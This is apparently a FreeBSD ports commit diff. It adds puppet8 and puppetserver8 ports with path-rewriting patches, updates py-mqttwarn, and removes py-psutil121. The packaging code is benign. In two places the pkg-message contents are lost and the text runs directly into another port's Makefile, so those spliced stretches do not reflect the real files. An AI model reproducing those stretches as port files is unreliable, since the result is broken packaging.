@${ECHO} ${STAGEDIR}${RUBY_SITELIBDIR}/puppet.rb | \ + ${SED} 's,^${STAGEDIR}${PREFIX}/,,' >> ${TMPPLIST} + @${FIND} ${STAGEDIR}${RUBY_SITELIBDIR}/${PORTNAME} -type f | \ + ${SED} 's,^${STAGEDIR}${PREFIX}/,,' >> ${TMPPLIST} + ${MKDIR} ${STAGEDIR}${PREFIX}/lib/ruby/gems/${RUBY_VER}/specifications + ${INSTALL_DATA} ${WRKSRC}/.gemspec ${STAGEDIR}${PREFIX}/lib/ruby/gems/${RUBY_VER}/specifications/${PORTNAME}-${PORTVERSION}.gemspec + +post-install-DOCS-on: + @${MKDIR} ${STAGEDIR}${DOCSDIR} + cd ${WRKSRC} && ${INSTALL_DATA} ${PORTDOCS} ${STAGEDIR}${DOCSDIR} + +post-install-EXAMPLES-on: + @${MKDIR} ${STAGEDIR}${EXAMPLESDIR} + cd ${WRKSRC}/examples/ && ${COPYTREE_SHARE} . ${STAGEDIR}${EXAMPLESDIR} + +.include diff --git a/sysutils/puppet8/distinfo b/sysutils/puppet8/distinfo new file mode 100644 index 00000000000..a731999bd87 --- /dev/null +++ b/sysutils/puppet8/distinfo @@ -0,0 +1,23 @@ +TIMESTAMP = 1682716159 +SHA256 (puppetlabs-augeas_core-1.3.0.tar.gz) = be41ae163f5dc94021ce03c2a0032a23275b4378af3c917befc12af14a4b3b69 +SIZE (puppetlabs-augeas_core-1.3.0.tar.gz) = 25837 +SHA256 (puppetlabs-cron_core-1.2.0.tar.gz) = e74247784d8cf6b27811b98f3ad782952d0005e4e012abb367d3492c51f264a2 +SIZE (puppetlabs-cron_core-1.2.0.tar.gz) = 24594 +SHA256 (puppetlabs-host_core-1.2.0.tar.gz) = a45d7fed47ae1c707fabaec9a1d6da4d8e2fd23bcfb998e6406b4c8e2eed056e +SIZE (puppetlabs-host_core-1.2.0.tar.gz) = 14471 +SHA256 (puppetlabs-mount_core-1.2.0.tar.gz) = ed437a07e9457fac21e1c87e53b44b7cf4f98c4d5e509dd5ffdea6c5dd96c6ee +SIZE (puppetlabs-mount_core-1.2.0.tar.gz) = 21556 +SHA256 (puppetlabs-scheduled_task-3.1.1.tar.gz) = d1993b1b41b63f224594ad6fe84c92449fbf2a96afee6f8cd604562c57e76e05 +SIZE (puppetlabs-scheduled_task-3.1.1.tar.gz) = 45065 +SHA256 (puppetlabs-selinux_core-1.3.0.tar.gz) = 593ad4cc9d311528b6be0fdaa6ce08bf46acb21ff0d035ef3c6f2e548c43433d +SIZE (puppetlabs-selinux_core-1.3.0.tar.gz) = 16456 +SHA256 (puppetlabs-sshkeys_core-2.4.0.tar.gz) = 033eb694359974ce1d9154526f42a01c2bc64abbcd4f587a5f25dff03135171b +SIZE (puppetlabs-sshkeys_core-2.4.0.tar.gz) = 20091 +SHA256 (puppetlabs-yumrepo_core-1.2.0.tar.gz) = 6fd02331be8267165e75c4eb00030a88be4401fe8d4eeea45365cc270140f44a +SIZE (puppetlabs-yumrepo_core-1.2.0.tar.gz) = 19704 +SHA256 (puppetlabs-zfs_core-1.4.0.tar.gz) = fcdf3440d5cf5e76a2ae452fc8eb6b8a589721e7c5a8832c2984e60f1962d5fa +SIZE (puppetlabs-zfs_core-1.4.0.tar.gz) = 18834 +SHA256 (puppetlabs-zone_core-1.1.0.tar.gz) = 9d8241938e56145ce15827415e5c6b74002407b4548c12b5ef165423adfc725b +SIZE (puppetlabs-zone_core-1.1.0.tar.gz) = 20637 +SHA256 (puppetlabs-puppet-8.0.1_GH0.tar.gz) = 3cd03a87274bdd80b466dbd33c0a45e435dc4d02a84106d13fae0c246c73adb1 +SIZE (puppetlabs-puppet-8.0.1_GH0.tar.gz) = 3317153 diff --git a/sysutils/puppet8/files/patch-lib_puppet_provider_service_daemontools.rb b/sysutils/puppet8/files/patch-lib_puppet_provider_service_daemontools.rb new file mode 100644 index 00000000000..208574482d5 --- /dev/null +++ b/sysutils/puppet8/files/patch-lib_puppet_provider_service_daemontools.rb @@ -0,0 +1,20 @@ +--- lib/puppet/provider/service/daemontools.rb.orig 2023-03-27 22:00:42 UTC ++++ lib/puppet/provider/service/daemontools.rb +@@ -39,7 +39,7 @@ Puppet::Type.type(:service).provide :daemontools, :par + + EOT + +- commands :svc => "/usr/bin/svc", :svstat => "/usr/bin/svstat" ++ commands :svc => "%%PREFIX%%/bin/svc", :svstat => "%%PREFIX%%/bin/svstat" + + class << self + attr_writer :defpath +@@ -86,7 +86,7 @@ Puppet::Type.type(:service).provide :daemontools, :par + # find the service dir on this node + def servicedir + unless @servicedir +- ["/service", "/etc/service","/var/lib/svscan"].each do |path| ++ ["/var/service", "/etc/service","/var/lib/svscan"].each do |path| + if Puppet::FileSystem.exist?(path) + @servicedir = path + break diff --git a/sysutils/puppet8/files/patch-lib_puppet_settings.rb b/sysutils/puppet8/files/patch-lib_puppet_settings.rb new file mode 100644 index 00000000000..333f545c291 --- /dev/null +++ b/sysutils/puppet8/files/patch-lib_puppet_settings.rb @@ -0,0 +1,10 @@ +--- lib/puppet/settings.rb.orig 2023-04-08 20:42:13 UTC ++++ lib/puppet/settings.rb +@@ -4,6 +4,7 @@ require_relative '../puppet/util/watched_file' + require_relative '../puppet/util/command_line/puppet_option_parser' + require 'forwardable' + require 'fileutils' ++gem 'concurrent-ruby', '< 1.2.0' + require 'concurrent' + + # The class for handling configuration files. diff --git a/sysutils/puppet8/files/patch-lib_puppet_thread__local.rb b/sysutils/puppet8/files/patch-lib_puppet_thread__local.rb new file mode 100644 index 00000000000..8a2598647e4 --- /dev/null +++ b/sysutils/puppet8/files/patch-lib_puppet_thread__local.rb @@ -0,0 +1,7 @@ +--- lib/puppet/thread_local.rb.orig 2023-04-08 20:42:06 UTC ++++ lib/puppet/thread_local.rb +@@ -1,3 +1,4 @@ ++gem 'concurrent-ruby', '< 1.2.0' + require 'concurrent' + + # We want to use the pure Ruby implementation even on JRuby. If we use the Java diff --git a/sysutils/puppet8/files/pkg-message.in b/sysutils/puppet8/files/pkg-message.in new file mode 100644 index 00000000000..caa22071559 --- /dev/null +++ b/sysutils/puppet8/files/pkg-message.in @@ -0,0 +1,11 @@ +[ +{ type: install + message: <=0:shells/bash \ + puppet8>=8.0:sysutils/puppet8 \ + rubygem-puppetserver-ca>=1:sysutils/rubygem-puppetserver-ca \ + rubygem-semantic_puppet>=1:devel/rubygem-semantic_puppet \ + sudo>=1:security/sudo + +USES= ruby shebangfix +USE_RC_SUBR= puppetserver + +USE_JAVA= yes +NO_ARCH= yes +NO_BUILD= yes +JAVA_VERSION= 8+ + +CONFLICTS_INSTALL= puppetserver[0-9] + +SHEBANG_FILES= ext/bin/puppetserver + +USERS= puppet +GROUPS= puppet + +SUB_LIST= JAVA_HOME=${JAVA_HOME} +SUB_FILES= pkg-message + +post-patch: +.for file in ext/config/logback.xml ext/config/request-logging.xml \ + ext/config/conf.d/global.conf ext/config/conf.d/puppetserver.conf \ + ext/config/conf.d/web-routes.conf ext/config/conf.d/webserver.conf \ + ext/config/conf.d/auth.conf ext/config/services.d/ca.cfg \ + ext/system-config/services.d/bootstrap.cfg ext/bin/puppetserver \ + ext/cli_defaults/cli-defaults.sh ext/cli/foreground + @${REINPLACE_CMD} -e 's|%%PREFIX%%|${PREFIX}|' \ + -e 's|%%RUBY_SITELIBDIR%%|${RUBY_SITELIBDIR}|' \ + -e 's|%%RUBY_VER%%|${RUBY_VER}|' \ + -e 's|%%JAVA%%|${JAVA}|' \ + -e 's|%%ETCDIR%%|${ETCDIR}|' \ + -e 's|%%DATADIR%%|${DATADIR}|' \ + ${WRKSRC}/${file} +.endfor + @${REINPLACE_CMD} -e 's|#!/opt/puppetlabs/puppet/bin/ruby|#!${RUBY}|' \ + ${WRKSRC}/ext/cli/ca \ + ${WRKSRC}/ext/cli/dropsonde + +do-install: + @${MKDIR} ${STAGEDIR}${DATADIR}/cli/apps + @${MKDIR} ${STAGEDIR}${ETCDIR}/conf.d + @${MKDIR} ${STAGEDIR}${ETCDIR}/services.d + @${MKDIR} ${STAGEDIR}${PREFIX}/etc/puppet/code + @${MKDIR} ${STAGEDIR}/var/log/puppetserver + @${MKDIR} ${STAGEDIR}/var/puppet/server + @${MKDIR} ${STAGEDIR}/var/puppet/server/data + @${MKDIR} ${STAGEDIR}/var/puppetserver + @${MKDIR} ${STAGEDIR}/var/run/puppetserver + ${INSTALL_DATA} ${WRKSRC}/puppet-server-release.jar ${STAGEDIR}${DATADIR}/puppet-server-release.jar + ${INSTALL_DATA} ${WRKSRC}/ext/config/conf.d/global.conf ${STAGEDIR}${ETCDIR}/conf.d/global.conf.sample + ${INSTALL_DATA} ${WRKSRC}/ext/config/logback.xml ${STAGEDIR}${ETCDIR}/logback.xml.sample + ${INSTALL_DATA} ${WRKSRC}/ext/config/request-logging.xml ${STAGEDIR}${ETCDIR}/request-logging.xml.sample + ${INSTALL_DATA} ${WRKSRC}/ext/config/conf.d/puppetserver.conf ${STAGEDIR}${ETCDIR}/conf.d/puppetserver.conf.sample + ${INSTALL_DATA} ${WRKSRC}/ext/config/conf.d/web-routes.conf ${STAGEDIR}${ETCDIR}/conf.d/web-routes.conf.sample + ${INSTALL_DATA} ${WRKSRC}/ext/config/conf.d/webserver.conf ${STAGEDIR}${ETCDIR}/conf.d/webserver.conf.sample + ${INSTALL_DATA} ${WRKSRC}/ext/config/conf.d/auth.conf ${STAGEDIR}${ETCDIR}/conf.d/auth.conf.sample + ${INSTALL_DATA} ${WRKSRC}/ext/config/conf.d/metrics.conf ${STAGEDIR}${ETCDIR}/conf.d/metrics.conf.sample + ${INSTALL_DATA} ${WRKSRC}/ext/config/services.d/ca.cfg ${STAGEDIR}${ETCDIR}/services.d/ca.cfg.sample + ${INSTALL_DATA} ${WRKSRC}/ext/system-config/services.d/bootstrap.cfg ${STAGEDIR}${ETCDIR}/services.d/bootstrap.cfg.sample + ${INSTALL_DATA} ${WRKSRC}/ext/bin/puppetserver ${STAGEDIR}${PREFIX}/bin/puppetserver + ${INSTALL_DATA} ${WRKSRC}/ext/ezbake-functions.sh ${STAGEDIR}${DATADIR}/ezbake-functions.sh + ${INSTALL_DATA} ${WRKSRC}/ext/cli/ca ${STAGEDIR}${DATADIR}/cli/apps/ca + ${INSTALL_DATA} ${WRKSRC}/ext/cli/foreground ${STAGEDIR}${DATADIR}/cli/apps/foreground + ${INSTALL_DATA} ${WRKSRC}/ext/cli/gem ${STAGEDIR}${DATADIR}/cli/apps/gem + ${INSTALL_DATA} ${WRKSRC}/ext/cli/irb ${STAGEDIR}${DATADIR}/cli/apps/irb + ${INSTALL_DATA} ${WRKSRC}/ext/cli/reload ${STAGEDIR}${DATADIR}/cli/apps/reload + ${INSTALL_DATA} ${WRKSRC}/ext/cli/ruby ${STAGEDIR}${DATADIR}/cli/apps/ruby + ${INSTALL_DATA} ${WRKSRC}/ext/cli/start ${STAGEDIR}${DATADIR}/cli/apps/start + ${INSTALL_DATA} ${WRKSRC}/ext/cli/stop ${STAGEDIR}${DATADIR}/cli/apps/stop + ${INSTALL_DATA} ${WRKSRC}/ext/cli_defaults/cli-defaults.sh ${STAGEDIR}${DATADIR}/cli/cli-defaults.sh + +.include diff --git a/sysutils/puppetserver8/distinfo b/sysutils/puppetserver8/distinfo new file mode 100644 index 00000000000..714022b2eed --- /dev/null +++ b/sysutils/puppetserver8/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682476133 +SHA256 (puppetserver-8.0.0.tar.gz) = 645308576da1a7eadc2553dac9cc7da8f3ad6c22a49a08f19153f5a21bb2fd84 +SIZE (puppetserver-8.0.0.tar.gz) = 60976845 diff --git a/sysutils/puppetserver8/files/patch-ext__bin__puppetserver b/sysutils/puppetserver8/files/patch-ext__bin__puppetserver new file mode 100644 index 00000000000..fb17e51c6fd --- /dev/null +++ b/sysutils/puppetserver8/files/patch-ext__bin__puppetserver @@ -0,0 +1,15 @@ +--- ext/bin/puppetserver.orig 2018-10-03 16:18:58 UTC ++++ ext/bin/puppetserver +@@ -15,6 +15,12 @@ elif [ `uname` == "OpenBSD" ] ; then + USER="_puppet" + INSTALL_DIR="/opt/puppetlabs/server/apps/puppetserver" + CONFIG="/etc/puppetlabs/puppetserver/conf.d" ++elif [ `uname` == "FreeBSD" ] ; then ++ JAVA_BIN="%%JAVA%%" ++ JAVA_ARGS="-Xms2g -Xmx2g" ++ USER="puppet" ++ INSTALL_DIR="%%DATADIR%%" ++ CONFIG="%%ETCDIR%%/conf.d" + else + echo "You seem to be missing some important configuration files; could not find /etc/default/puppetserver or /etc/sysconfig/puppetserver" >&2 + exit 1 diff --git a/sysutils/puppetserver8/files/patch-ext__cli__foreground b/sysutils/puppetserver8/files/patch-ext__cli__foreground new file mode 100644 index 00000000000..a4a4a5ad664 --- /dev/null +++ b/sysutils/puppetserver8/files/patch-ext__cli__foreground @@ -0,0 +1,19 @@ +--- ext/cli/foreground.orig 2019-09-17 14:05:56 UTC ++++ ext/cli/foreground +@@ -1,6 +1,6 @@ + #!/usr/bin/env bash + +-restartfile="/opt/puppetlabs/server/data/puppetserver/restartcounter" ++restartfile="/var/puppet/server/data/puppetserver/restartcounter" + cli_defaults=${INSTALL_DIR}/cli/cli-defaults.sh + + if [ ! -e "${INSTALL_DIR}/ezbake-functions.sh" ]; then +@@ -30,7 +30,7 @@ fi + COMMAND="${JAVA_BIN} ${JAVA_ARGS} ${LOG_APPENDER} \ + -cp "$CLASSPATH" \ + clojure.main -m puppetlabs.trapperkeeper.main \ +- --config ${CONFIG} --bootstrap-config ${BOOTSTRAP_CONFIG} \ ++ --config ${CONFIG} --bootstrap-config %%ETCDIR%%/services.d \ + --restart-file "${restartfile}" \ + ${TK_ARGS} \ + ${@}" diff --git a/sysutils/puppetserver8/files/patch-ext__cli_defaults__cli-defaults.sh b/sysutils/puppetserver8/files/patch-ext__cli_defaults__cli-defaults.sh new file mode 100644 index 00000000000..85febc64943 --- /dev/null +++ b/sysutils/puppetserver8/files/patch-ext__cli_defaults__cli-defaults.sh @@ -0,0 +1,12 @@ +--- ext/cli_defaults/cli-defaults.sh.orig 2019-09-17 14:05:56 UTC ++++ ext/cli_defaults/cli-defaults.sh +@@ -1,7 +1,7 @@ +-INSTALL_DIR="/opt/puppetlabs/server/apps/puppetserver" ++INSTALL_DIR="%%DATADIR%%" + + if [ -n "$JRUBY_JAR" ]; then + echo "Warning: the JRUBY_JAR setting is no longer needed and will be ignored." 1>&2 + fi + +-CLASSPATH="${CLASSPATH}:/opt/puppetlabs/puppet/lib/ruby/vendor_ruby/facter.jar:/opt/puppetlabs/server/data/puppetserver/jars/*" ++CLASSPATH="${CLASSPATH}:/usr/local/lib/ruby/vendor_ruby/facter.jar:/opt/puppetlabs/server/data/puppetserver/jars/*" diff --git a/sysutils/puppetserver8/files/patch-ext__config__conf.d__global.conf b/sysutils/puppetserver8/files/patch-ext__config__conf.d__global.conf new file mode 100644 index 00000000000..5fc83d8e0ae --- /dev/null +++ b/sysutils/puppetserver8/files/patch-ext__config__conf.d__global.conf @@ -0,0 +1,9 @@ +--- ext/config/conf.d/global.conf.orig 2018-10-01 20:36:05 UTC ++++ ext/config/conf.d/global.conf +@@ -1,5 +1,5 @@ + global: { + # Path to logback logging configuration file; for more + # info, see http://logback.qos.ch/manual/configuration.html +- logging-config: /etc/puppetlabs/puppetserver/logback.xml ++ logging-config: %%PREFIX%%/etc/puppetserver/logback.xml + } diff --git a/sysutils/puppetserver8/files/patch-ext__config__conf.d__puppetserver.conf b/sysutils/puppetserver8/files/patch-ext__config__conf.d__puppetserver.conf new file mode 100644 index 00000000000..335690c0d1c --- /dev/null +++ b/sysutils/puppetserver8/files/patch-ext__config__conf.d__puppetserver.conf @@ -0,0 +1,55 @@ +--- ext/config/conf.d/puppetserver.conf.orig 2021-03-12 18:01:54 UTC ++++ ext/config/conf.d/puppetserver.conf +@@ -2,16 +2,20 @@ + jruby-puppet: { + # Where the puppet-agent dependency places puppet, facter, etc... + # Puppet server expects to load Puppet from this location +- ruby-load-path: [/opt/puppetlabs/puppet/lib/ruby/vendor_ruby] ++ ruby-load-path: [ ++ %%PREFIX%%/share/puppetserver/lib, ++ %%RUBY_SITELIBDIR%%, ++ %%PREFIX%%/lib/ruby/vendor_ruby, ++ ] + + # This setting determines where JRuby will install gems. It is used for loading gems, + # and also by the `puppetserver gem` command line tool. +- gem-home: /opt/puppetlabs/server/data/puppetserver/jruby-gems ++ gem-home: /var/puppet/server/data/puppetserver/jruby-gems + + # This setting defines the complete "GEM_PATH" for jruby. If set, it should include + # the gem-home directory as well as any other directories that gems can be loaded + # from (including the vendored gems directory for gems that ship with puppetserver) +- gem-path: [${jruby-puppet.gem-home}, "/opt/puppetlabs/server/data/puppetserver/vendored-jruby-gems", "/opt/puppetlabs/puppet/lib/ruby/vendor_gems"] ++ gem-path: [${jruby-puppet.gem-home}, "/var/puppet/server/data/puppetserver/vendored-jruby-gems", "%%PREFIX%%/lib/ruby/gems/%%RUBY_VER%%"] + + # PLEASE NOTE: Use caution when modifying the below settings. Modifying + # these settings will change the value of the corresponding Puppet settings +@@ -26,23 +30,23 @@ jruby-puppet: { + + # (optional) path to puppet conf dir; if not specified, will use + # /etc/puppetlabs/puppet +- server-conf-dir: /etc/puppetlabs/puppet ++ server-conf-dir: %%PREFIX%%/etc/puppet + + # (optional) path to puppet code dir; if not specified, will use + # /etc/puppetlabs/code +- server-code-dir: /etc/puppetlabs/code ++ server-code-dir: %%PREFIX%%/etc/puppet/code + + # (optional) path to puppet var dir; if not specified, will use + # /opt/puppetlabs/server/data/puppetserver +- server-var-dir: /opt/puppetlabs/server/data/puppetserver ++ server-var-dir: /var/puppet/server/data/puppetserver + + # (optional) path to puppet run dir; if not specified, will use + # /var/run/puppetlabs/puppetserver +- server-run-dir: /var/run/puppetlabs/puppetserver ++ server-run-dir: /var/run/puppetserver + + # (optional) path to puppet log dir; if not specified, will use + # /var/log/puppetlabs/puppetserver +- server-log-dir: /var/log/puppetlabs/puppetserver ++ server-log-dir: /var/log/puppetserver + + # (optional) maximum number of JRuby instances to allow + #max-active-instances: 1 diff --git a/sysutils/puppetserver8/files/patch-ext__config__conf.d__webserver.conf b/sysutils/puppetserver8/files/patch-ext__config__conf.d__webserver.conf new file mode 100644 index 00000000000..21e4c5e6d86 --- /dev/null +++ b/sysutils/puppetserver8/files/patch-ext__config__conf.d__webserver.conf @@ -0,0 +1,9 @@ +--- ext/config/conf.d/webserver.conf.orig 2018-10-01 20:36:05 UTC ++++ ext/config/conf.d/webserver.conf +@@ -1,5 +1,5 @@ + webserver: { +- access-log-config: /etc/puppetlabs/puppetserver/request-logging.xml ++ access-log-config: %%PREFIX%%/etc/puppetserver/request-logging.xml + client-auth: want + ssl-host: 0.0.0.0 + ssl-port: 8140 diff --git a/sysutils/puppetserver8/files/patch-ext__config__logback.xml b/sysutils/puppetserver8/files/patch-ext__config__logback.xml new file mode 100644 index 00000000000..278ccaf5f82 --- /dev/null +++ b/sysutils/puppetserver8/files/patch-ext__config__logback.xml @@ -0,0 +1,17 @@ +--- ext/config/logback.xml.orig 2018-09-18 17:16:33 UTC ++++ ext/config/logback.xml +@@ -6,12 +6,11 @@ + + + +- +- /var/log/puppetlabs/puppetserver/puppetserver.log ++ /var/log/puppetserver/puppetserver.log + true + + +- /var/log/puppetlabs/puppetserver/puppetserver-%d{yyyy-MM-dd}.%i.log.gz ++ /var/log/puppetserver/puppetserver-%d{yyyy-MM-dd}.%i.log.gz + + 200MB + 90 diff --git a/sysutils/puppetserver8/files/patch-ext__config__request-logging.xml b/sysutils/puppetserver8/files/patch-ext__config__request-logging.xml new file mode 100644 index 00000000000..4358008fdb4 --- /dev/null +++ b/sysutils/puppetserver8/files/patch-ext__config__request-logging.xml @@ -0,0 +1,15 @@ +--- ext/config/request-logging.xml.orig 2018-09-18 17:16:33 UTC ++++ ext/config/request-logging.xml +@@ -1,10 +1,10 @@ + + +- /var/log/puppetlabs/puppetserver/puppetserver-access.log ++ /var/log/puppetserver/puppetserver-access.log + true + + +- /var/log/puppetlabs/puppetserver/puppetserver-access-%d{yyyy-MM-dd}.%i.log.gz ++ /var/log/puppetserver/puppetserver-access-%d{yyyy-MM-dd}.%i.log.zip + + 200MB + 90 diff --git a/sysutils/puppetserver8/files/patch-ext__ezbake-functions.sh b/sysutils/puppetserver8/files/patch-ext__ezbake-functions.sh new file mode 100644 index 00000000000..bd4d0a1c26b --- /dev/null +++ b/sysutils/puppetserver8/files/patch-ext__ezbake-functions.sh @@ -0,0 +1,11 @@ +--- ext/ezbake-functions.sh.orig 2019-09-17 14:05:56 UTC ++++ ext/ezbake-functions.sh +@@ -126,7 +126,7 @@ init_restart_file() + local group="${GROUP:-puppet}" + + if [ ! -e "$restartfile" ]; then +- /usr/bin/install --directory --owner=$user --group=$group --mode=755 "$restart_file_base_dir" ++ /usr/bin/install -d -o $user -g $group -m 755 "$restart_file_base_dir" + if [ $? -ne 0 ]; then + echo "Unable to create or set permissions for restart file at ${restart_file_base_dir}" 1>&2 + return 1 diff --git a/sysutils/puppetserver8/files/pkg-message.in b/sysutils/puppetserver8/files/pkg-message.in new file mode 100644 index 00000000000..0635f9786fc --- /dev/null +++ b/sysutils/puppetserver8/files/pkg-message.in @@ -0,0 +1,17 @@ +[ +{ type: install + message: <=1.13.0:devel/py-six@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}paho-mqtt>=1.4.0:net/py-paho-mqtt@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}Jinja2>=2.10.1:devel/py-Jinja2@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}attrs>=19.3.0:devel/py-attrs@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}docopt>=0.6.2:devel/py-docopt@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}requests>=2.22.0:www/py-requests@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}future>=0.18.2:devel/py-future@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}configparser>=3.5.3:devel/py-configparser@${PY_FLAVOR} - # based on setup.py : tests_require=extras['test'], TEST_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pytest>0:devel/py-pytest@${PY_FLAVOR} +BUILD_DEPENDS= ${PYTHON_PKGNAMEPREFIX}versioningit>=0:devel/py-versioningit@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}wheel>0:devel/py-wheel@${PY_FLAVOR} + +RUN_DEPENDS+= ${PYTHON_PKGNAMEPREFIX}attrs>=19.3.0:devel/py-attrs@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}docopt>=0.6.2:devel/py-docopt@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}funcy>0:devel/py-funcy@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}future>=0.18.2:devel/py-future@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}Jinja2>=2.10.1:devel/py-Jinja2@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}paho-mqtt>=1.4.0:net/py-paho-mqtt@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}requests>=2.22.0:www/py-requests@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}six>=1.13.0:devel/py-six@${PY_FLAVOR} + USES= python:3.6+ shebangfix -USE_PYTHON= autoplist concurrent distutils + +USE_PYTHON= autoplist concurrent pep517 SHEBANG_REGEX= '.*\.py$$' NO_ARCH= yes @@ -32,14 +36,13 @@ NO_ARCH= yes # The following were omitted because their dependencies are not found in the # FreeBSD port tree: AMQP APPRISE ASTERISK FBCHAT IOHUB NMA NSCA OSXNOTIFY PASTEBINPUB PROWL PUSHBULLET # SLACK TOOTPASTE XIVELY XMPP -OPTIONS_DEFINE= DOCS EXAMPLES \ - APNS CELERY DNSUPDATE GSS2 MYSQL POSTGRES REISPUB RRDTOOL \ - SERIAL SSH TWILIO TWITTER WEBSOCKET +OPTIONS_DEFINE= APNS CELERY DNSUPDATE DOCS EXAMPLES GSS2 MYSQL POSTGRES REISPUB \ + RRDTOOL SERIAL SSH TWILIO TWITTER WEBSOCKET USERS= mqttwarn GROUPS= mqttwarn -SUB_FILES= pkg-message mqttwarn +SUB_FILES= mqttwarn pkg-message APNS_DESC= Apple Push Notifications CELERY_DESC= Asynchronous task queue/job queue diff --git a/sysutils/py-mqttwarn/distinfo b/sysutils/py-mqttwarn/distinfo index f2534e30d37..a17710a413e 100644 --- a/sysutils/py-mqttwarn/distinfo +++ b/sysutils/py-mqttwarn/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1669052917 -SHA256 (mqttwarn-0.31.0.tar.gz) = 22a12c086221dc45a38d0a4970d169fd5b28d55a34318e0d398ecee008f24519 -SIZE (mqttwarn-0.31.0.tar.gz) = 123927 +TIMESTAMP = 1682779873 +SHA256 (mqttwarn-0.34.0.tar.gz) = 6f5727091ec1d5dd8471b4da52cd85a16e6b5be88e32dc834e84c400f0464db6 +SIZE (mqttwarn-0.34.0.tar.gz) = 86666 diff --git a/sysutils/py-mqttwarn/files/patch-mqttwarn_examples_basic_mqttwarn.ini b/sysutils/py-mqttwarn/files/patch-mqttwarn_examples_basic_mqttwarn.ini deleted file mode 100644 index d89c3693157..00000000000 --- a/sysutils/py-mqttwarn/files/patch-mqttwarn_examples_basic_mqttwarn.ini +++ /dev/null @@ -1,12 +0,0 @@ -# If we don't comment this out, the daemon will fail to start ---- mqttwarn/examples/basic/mqttwarn.ini.orig 2019-12-27 00:39:16 UTC -+++ mqttwarn/examples/basic/mqttwarn.ini -@@ -50,7 +50,7 @@ loglevel = DEBUG - ; -------- - - ; path to file containing self-defined functions for formatmap and datamap --functions = 'samplefuncs.py' -+#functions = 'samplefuncs.py' - - ; name the service providers you will be using. - launch = file, log diff --git a/sysutils/py-psutil121/Makefile b/sysutils/py-psutil121/Makefile deleted file mode 100644 index 081c81d58c9..00000000000 --- a/sysutils/py-psutil121/Makefile +++ /dev/null @@ -1,25 +0,0 @@ -PORTNAME= psutil -PORTVERSION= 1.2.1 -PORTREVISION= 2 -CATEGORIES= sysutils python -MASTER_SITES= PYPI -PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} -PKGNAMESUFFIX= 121 - -MAINTAINER= bofh@FreeBSD.org -COMMENT= Process utilities module for Python -WWW= https://pypi.org/project/psutil/ - -LICENSE= BSD3CLAUSE - -DEPRECATED= Use sysutils/py-psutil instead -EXPIRATION_DATE=2023-04-30 - -CONFLICTS_INSTALL= ${PYTHON_PKGNAMEPREFIX}psutil - -PORTSCOUT= limit:^1\.2\. - -USES= python:3.6+ -USE_PYTHON= distutils autoplist - -.include diff --git a/sysutils/py-psutil121/distinfo b/sysutils/py-psutil121/distinfo deleted file mode 100644 index fe98f49a52d..00000000000 --- a/sysutils/py-psutil121/distinfo +++ /dev/null @@ -1,2 +0,0 @@ -SHA256 (psutil-1.2.1.tar.gz) = 508e4a44c8253a386a0f86d9c9bd4a1b4cbb2f94e88d49a19c1513653ca66c45 -SIZE (psutil-1.2.1.tar.gz) = 167397 diff --git a/sysutils/py-psutil121/files/patch-_psutil_bsd.c b/sysutils/py-psutil121/files/patch-_psutil_bsd.c deleted file mode 100644 index 7ecc305d6f0..00000000000 --- a/sysutils/py-psutil121/files/patch-_psutil_bsd.c +++ /dev/null @@ -1,50 +0,0 @@ ---- psutil/_psutil_bsd.c.orig 2017-03-21 00:39:17.505652000 -0700 -+++ psutil/_psutil_bsd.c 2017-03-21 00:41:20.821739000 -0700 -@@ -917,11 +917,19 @@ - psutil_sockaddr_addrlen(family)) == 0); - } - -+#if __FreeBSD_version >= 1200026 -+static struct xtcpcb * -+psutil_search_tcplist(char *buf, struct kinfo_file *kif) -+{ -+ struct xtcpcb *tp; -+ struct xinpcb *inp; -+#else - static struct tcpcb * - psutil_search_tcplist(char *buf, struct kinfo_file *kif) - { - struct tcpcb *tp; - struct inpcb *inp; -+#endif - struct xinpgen *xig, *oxig; - struct xsocket *so; - -@@ -929,9 +937,15 @@ - for (xig = (struct xinpgen *)((char *)xig + xig->xig_len); - xig->xig_len > sizeof(struct xinpgen); - xig = (struct xinpgen *)((char *)xig + xig->xig_len)) { -+#if __FreeBSD_version >= 1200026 -+ tp = (struct xtcpcb *)xig; -+ inp = &tp->xt_inp; -+ so = &inp->xi_socket; -+#else - tp = &((struct xtcpcb *)xig)->xt_tp; - inp = &((struct xtcpcb *)xig)->xt_inp; - so = &((struct xtcpcb *)xig)->xt_socket; -+#endif - - if (so->so_type != kif->kf_sock_type || - so->xso_family != kif->kf_sock_domain || -@@ -976,7 +990,11 @@ - struct kinfo_file *kif; - struct kinfo_proc kipp; - char *tcplist = NULL; -+#if __FreeBSD_version >= 1200026 -+ struct xtcpcb *tcp; -+#else - struct tcpcb *tcp; -+#endif - - PyObject *retList = PyList_New(0); - PyObject *tuple = NULL; diff --git a/sysutils/py-psutil121/pkg-descr b/sysutils/py-psutil121/pkg-descr deleted file mode 100644 index 8ac55c86883..00000000000 --- a/sysutils/py-psutil121/pkg-descr +++ /dev/null @@ -1,4 +0,0 @@ -psutil is a module providing an interface for retrieving information -on running processes and system utilization (CPU, memory) in a portable -way by using Python, implementing many functionalities offered by tools -like ps, top and Windows task manager. diff --git a/sysutils/py-pywatchman/Makefile b/sysutils/py-pywatchman/Makefile index a5d41e099a7..116a1e10ca7 100644 --- a/sysutils/py-pywatchman/Makefile +++ b/sysutils/py-pywatchman/Makefile @@ -1,30 +1,28 @@ PORTNAME= pywatchman -PORTVERSION= 4.9.0 -PORTREVISION= 1 